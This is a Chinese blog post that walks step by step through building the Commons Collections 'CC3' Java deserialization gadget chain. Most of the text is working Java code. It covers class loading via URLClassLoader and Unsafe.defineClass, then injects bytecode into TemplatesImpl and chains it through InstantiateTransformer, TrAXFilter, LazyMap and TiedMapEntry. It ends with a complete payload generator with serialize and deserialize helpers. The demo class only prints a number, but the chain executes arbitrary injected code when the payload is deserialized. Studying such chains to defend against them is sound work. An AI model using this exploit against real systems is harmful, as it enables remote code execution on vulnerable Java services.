cc链之cc3分析

2024年4月18日02:10:09评论4 views字数 20666阅读68分53秒阅读模式

cc链之cc3分析

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参考：

哔哩哔哩up主-白日梦组长

https://space.bilibili.com/2142877265/

注意一点，在 defineClass 被调用的时候，类对象是不会被初始化的，只有这个对象显式地调用其构造函数，初始化代码才能被执行。而且，即使我们将初始化代码放在类的static块中，在 defineClass 时也无法被直接调用到。

这边注意一个东西

package loder;

public class demo {

    String test;

    static {
        System.out.println(11111);
    }
}

然后再另一个类

new demo();事就会执行demo类中的静态代码块

Class c = Class.forName("loder.demo");也会执行静态代码块

Class c = demo.class; 这个不会他只是做出了加载并不是初始化

总结：静态代码块是在类初始化的时候执行的，比如实例化类的时候(构造代码块也会)

深入，Class.forName("loder.demo") 为什么也会执行

cc链之cc3分析

可以看见给了forName0

cc链之cc3分析

这是native就是c写的看不到里面的代码第二个参数就是是否初始化

cc链之cc3分析

可以看见上边有个重载方法,接收三个参数，一个是类名，还有一个就是是否初始化，还有一个就是类加载器

cc链之cc3分析

初始化设为false就不会进行初始化了就没有调用静态代码块，

ClassLoader.getSystemClassLoader()是系统类加载器

继续深入

cc链之cc3分析

这个时候就会调用静态代码块，因为初始化了

这里可以想我可不可以不用Class.forName呢因为他的底层也是类加载器，试试用类加载器

cc链之cc3分析

发现用loadClass也可以加载对应的类,newInstance()可以实例化

类加载器：

ClassLoader的子类

ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

调用：

loadClass->findClass->defineCLass(从字节码加载类)

这里边的URLClassLoader可以直接从url中获取字节码并加载为类

public static void main(String[] args) throws Exception {
        URL[] urls = {new URL("http://127.0.0.1:8000/")};
        URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
        Class<?> aClass = urlClassLoader.loadClass("halloword");
        aClass.newInstance();
    }

就像这样从http://127.0.0.1:8000/中获取类文件夹然后用loadclass加载字节码

为啥这样写可以找到halloword.class

cc链之cc3分析

其实是这样的他会给halloword后边加上.class

总结：URLClassLoader可以实现远程任意类加载(http/file/jar 这几个协议都可以)

jar的话就是 jar:http://xxxx:xxx/xxx.jar!/ 然后loadClass对应的类就好

那如果不出网呢，这个时候可以用更底下的

defineClass来做，这个是直接把字节码加载为对象的

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\demo\demo\target\classes\demo.class"));

        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class demo = (Class) method.invoke(classLoader, "demo", b, 0, b.length);
        demo.newInstance();

看着是不是不直观，那如果把对象base64编码然后直接去加载呢

编码：

FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
fileOutputStream.write(Base64.getEncoder().encode(b));

把结果直接复制出来：

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class demo = (Class) method.invoke(classLoader, "demo", b, 0, b.length);
        demo.newInstance();

这样也是可以的哦

那除了ClassLoader还有哪有defineClass呢，其实是有的

Unfase类

但是他是受保护的

cc链之cc3分析

但是是可以通过theUnsafe参数获得,只不过得用反射

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
        byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");

        Field declaredField = Unsafe.class.getDeclaredField("theUnsafe");
        declaredField.setAccessible(true);
        Unsafe o = (Unsafe) declaredField.get(null);
        Class<?> aClass = o.defineClass("demo", b, 0, b.length, classLoader, null);
        aClass.newInstance();

就像这样就是ok的

其实也可以不要classloader

        byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");

        Field declaredField = Unsafe.class.getDeclaredField("theUnsafe");
        declaredField.setAccessible(true);
        Unsafe o = (Unsafe) declaredField.get(null);
        Class<?> aClass = o.defineClass("demo", b, 0, b.length, null, null);
        aClass.newInstance();

classloder和安全域都可以为空

这个就是相当方便了，不需要用runtime这个类，而且很灵活，很多漏洞也都是通过这个。

现在开始试试

有一个类叫做com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这里边有一个方法

defineTransletClasses

cc链之cc3分析

里边就有个很熟悉的东西defineClass,而且这里边的东西还是可控的

如果让他加载一个恶意的字节码，然后再实例化岂不是yyds

看看_bytecodes是咋写的

cc链之cc3分析

就是个二维数组那我就把恶意代码加到二维数组然后实例化它不就ok了

 TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);


        Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
        method.setAccessible(true);
        Object invoke = method.invoke(templates, null);

报错了

cc链之cc3分析

看看原因,不能为空,他是这个

cc链之cc3分析

那就给他赋值呗

是个数组给他这个类型的数组就ok

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);


        Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
        method.setAccessible(true);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        Object invoke = method.invoke(templates, null);

正常运行后就加载了字节码并且把加载的字节码给了_class[i] 结合上下文应该是_class[0]

所以通过反射获取这个属性，然后实例化就会执行静态代码块中的内容

cc链之cc3分析

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);


        Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
        method.setAccessible(true);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Object invoke = method.invoke(templates, null);
        Field declaredField = templates.getClass().getDeclaredField("_class");
        declaredField.setAccessible(true);
        Class[] classes = (Class[]) declaredField.get(templates);
        classes[0].newInstance();

但是这样没用，你要打人家肯定不是直接改人家代码吧，所以去找找哪里对它实例化了

就在这时发现了

cc链之cc3分析

getTransletInstance这里实例化了,并且调用了defineTransletClasses方法

cc链之cc3分析

所以由此可以看出走到getTransletInstance这个方法他会调用defineTransletClasses加载传入的字节码

defineTransletClasses的这个位置要注意，因为只有满足superClass.getName().equals(ABSTRACT_TRANSLET)才会把当前数组的下标给_transletIndex,才可以在实例化时实例化对应的数组，可能会讲通过反射，按理说是可以的

cc链之cc3分析

但是,不满足他会直接报错,所以还是老老实实看看这是啥

cc链之cc3分析

superClass是当前加载的字节码的父类,所以字节码让他继承ABSTRACT_TRANSLET的值就好

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

cc链之cc3分析

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class demo extends AbstractTranslet {
    public demo() {
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        System.out.println(11111);
    }
}

所以现在只需要调用getTransletInstance就ok

这里注意一个地方

cc链之cc3分析

_name不能为空的不然直接return了

他是普通的string

成功

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};
        
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");

        Method method = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
        method.setAccessible(true);
        method.invoke(templates);

但是呢getTransletInstance他是私有的也没有别处调用，只有一处调用它

cc链之cc3分析

就是这里,直接试试

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");

        templates.newTransformer();

完全ok，十分合适,他也是public权限十分方便现在直接去找，有没有哪又调用了他，最好是直接在readObject方法里

cc链之cc3分析

发现还真有一处可以的，是在org.apache.xalan.transformer.TrAXFilter#TrAXFilter的构造方法

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");

        new TrAXFilter(templates);

所以直接这样,但是呢并没有找到合适的调用TrAXFilter方法的地方，这可怎么办呢

其实这里有一个思路，就是通过InvokerTransformer去，但是这样的话就使用了InvokerTransformer这样没有必要

还有一个牛逼思路呢，就是前辈们发现的其实构造函数可以通过反射去实例化

Constructor constructor = TrAXFilter.class.getConstructor(new Class[]{Templates.class});
 constructor.newInstance(templates);

所以此时就去找newInstance就ok

就这样，牛逼的前辈们发现了一处地方

org.apache.commons.collections.functors.InstantiateTransformer#transform

cc链之cc3分析

这个方法

Constructor con = ((Class) input).getConstructor(iParamTypes);

先看看这个是啥,它是不是就是反射实例化,iParamTypes可控，给他一个new Class[]{Templates.class},iArgs的话给他一个templates,不就欧克了，input给他一个TrAXFilter.class

构造函数私有的

cc链之cc3分析

但是可以通过这个属性获得

cc链之cc3分析

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
        Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
        Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        iArgs.set(instantiateTransformer,new Object[]{templates});

        instantiateTransformer.transform(TrAXFilter.class);

这样就ok，这样就只需要调用transform就行，是不是相当熟悉了，直接可以拿cc6的payload粘进去

还是一步步来，通过LazyMap

TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
        Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
        Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        iArgs.set(instantiateTransformer,new Object[]{templates});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
        outerMap.get(TrAXFilter.class);

然后通过TiedMapEntry

TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());


        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
        Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
        Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        iArgs.set(instantiateTransformer,new Object[]{templates});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
        //outerMap.get(TrAXFilter.class);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
        Map payload = new HashMap();
        payload.put(tiedMapEntry,null);
        Field factory = TiedMapEntry.class.getDeclaredField("map");
        factory.setAccessible(true);
        factory.set(tiedMapEntry,outerMap);
        Field key = TiedMapEntry.class.getDeclaredField("key");
        key.setAccessible(true);
        key.set(tiedMapEntry,TrAXFilter.class);
        tiedMapEntry.getValue();

然后跟着cc6的思路继续找

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
        Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
        Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        iArgs.set(instantiateTransformer,new Object[]{templates});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
        Map payload = new HashMap();
        payload.put(tiedMapEntry,null);
        Field factory = TiedMapEntry.class.getDeclaredField("map");
        factory.setAccessible(true);
        factory.set(tiedMapEntry,outerMap);
        Field key = TiedMapEntry.class.getDeclaredField("key");
        key.setAccessible(true);
        key.set(tiedMapEntry,TrAXFilter.class);
        Map zzpayload = new HashMap<>();
        zzpayload.put(tiedMapEntry,123);
        ser(zzpayload);

原本是这个样子，但是会报错,导致无法序列化

cc链之cc3分析

说是在这里出了问题,大概是因为序列化时的那个put操作造成的,让他提前触发了，然后触发时大家也看见的会报错

之前cc6有提过，大概就是两种一种改hashmap的key最后反射替换还有种就是让他TiedMapEntry走不到lazymap 最后反射替换 cc6有细讲不太明白的兄弟们可以去康康

选择用第二种put完后再将tiedMapEntry的key设置为LazyMap

        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");
        InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
        Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
        Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        iArgs.set(instantiateTransformer,new Object[]{templates});
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
        Map payload = new HashMap();
        payload.put(tiedMapEntry,null);
        Field factory = TiedMapEntry.class.getDeclaredField("map");
        factory.setAccessible(true);
        Field key = TiedMapEntry.class.getDeclaredField("key");
        key.setAccessible(true);
        key.set(tiedMapEntry,TrAXFilter.class);
        Map zzpayload = new HashMap<>();
        zzpayload.put(tiedMapEntry,123);
        factory.set(tiedMapEntry,outerMap);

        ser(zzpayload);
        unser("1.bin");

这样反序列化时就会直接

cc链之cc3分析

但是原版的不是这样，它使用了ChainedTransformer

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.transformer.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();

        byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
        byte[][] bytes = {b};

        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,bytes);

        Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        Field name = TemplatesImpl.class.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");;

        InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;

        Class instantiateTransformerClass = InstantiateTransformer.class;
        Field iParamTypes = instantiateTransformerClass.getDeclaredField("iParamTypes");
        iParamTypes.setAccessible(true);
        iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});

        Field iArgs = instantiateTransformerClass.getDeclaredField("iArgs");
        iArgs.setAccessible(true);
        TemplatesImpl[] a = {templates};
        iArgs.set(instantiateTransformer,a);


        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
        Map payload = new HashMap();
        payload.put(tiedMapEntry,null);
        Field factory = TiedMapEntry.class.getDeclaredField("map");
        factory.setAccessible(true);
        factory.set(tiedMapEntry,outerMap);

       // ser(payload);

        unser("1.bin");


    }

    public static void ser(Object object) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
        oss.writeObject(object);
    }

    public static void unser(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
        Object obj = in.readObject();
    }
//}


}

具体的和cc一样我大概讲一下hashmap的readObject中的value为null给

new ConstantTransformer(TrAXFilter.class)然后获得了TrAXFilter.class给instantiateTransformer的transformer 然后就是走各种流程了，对这个感兴趣的可以跟一下代码，网上分析也有很多,上边那条链是我踩着前辈肩膀尝试寻找的，没有用ConstantTransformer

唯一的ConstantTransformer是InstantiateTransformer

cc链之cc3分析

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cc链之cc3分析

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